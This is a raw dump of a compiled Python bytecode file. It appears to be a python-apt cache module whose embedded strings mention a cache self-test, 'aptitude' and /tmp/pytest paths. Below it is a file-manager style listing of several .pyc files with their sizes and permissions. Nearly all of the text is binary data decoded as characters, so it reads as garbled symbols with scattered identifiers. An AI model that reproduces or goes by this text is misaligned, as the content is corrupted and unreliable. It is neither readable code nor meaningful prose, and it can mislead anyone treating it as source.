R>R5S9nUR8RS[5 UR8RS[5 UR8R5 UR;[=55 [[U55 UR5HnX'UR:XaMe [[U55 g)zInternal test code.zCache self testr�rO�aptitude)�/tmp/pytestz/tmp/pytest/partialrXrNz.Testing filtered cache (argument is old cache)z$Testing filtered cache (no argument))rv) r�r.rgrIr�rvr.r
rvr�rr�r�r�r�r�r0r1rm�mkdirrjrkr�r[r�rr*r�r�r�r�r�)r�r�r�r�r~r�r��filtereds        r�_testr�s���	�
���L�L�N��#�,�,�#�#�.�.�0�1�E�	�N�N�%�'8�9�	�N�N�&�(:�;�	�*��
��
�
�
�C�	�#�(�(�O�	�#�e�*���:�:�<���~�"�"�g�-�-�-� �
�M�M�O����!�G�	�#�g�,�����x�x�x��x��:���w�w�~�~�g�&�&��H�H�W��:��N�N���-�}�=�	�	�	����	0�B��o�o�c�l�l�/�/�?�?�A�B�G�	���'�t�,�
�
:�;��U�#�H��N�N���.�0A�B��N�N���/�1C�D��N�N�������+�-�.�	�#�h�-���=�=�?���7�+�0�0�0�0�0�#�
�#�h�-��	�
0�1��c�l�l�&7�&7�&B�&B�&D�E�H��N�N���.�0A�B��N�N���/�1C�D��N�N�������+�-�.�	�#�h�-���=�=�?���7�+�0�0�0�0�0�#�
�#�h�-�r�__main__r�rF)*�
__future__rr�r0rqrb�collections.abcrrr�typingrrr.�apt.progress.textr��apt.packager	r
�apt.progress.baserrr
�IOErrorrrrr#�	Exceptionr&r)rIr�r�r�r�r�r�r�rrrrrr�<module>rs���,#��	���8�8����(�J�J�L�g�L�8�7�8�I�-�I�7�'�7�I�9�I�:�:�*~
)�~
)�B&(�&(�X���&�� �f� �$�$�@1(�1(�h� �5�p�z��	�G�r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 660 B 0644
cache.cpython-313.pyc File 47.86 KB 0644
cdrom.cpython-313.pyc File 3.54 KB 0644
debfile.cpython-313.pyc File 37.33 KB 0644
package.cpython-313.pyc File 73.61 KB 0644
utils.cpython-313.pyc File 3.67 KB 0644
Filemanager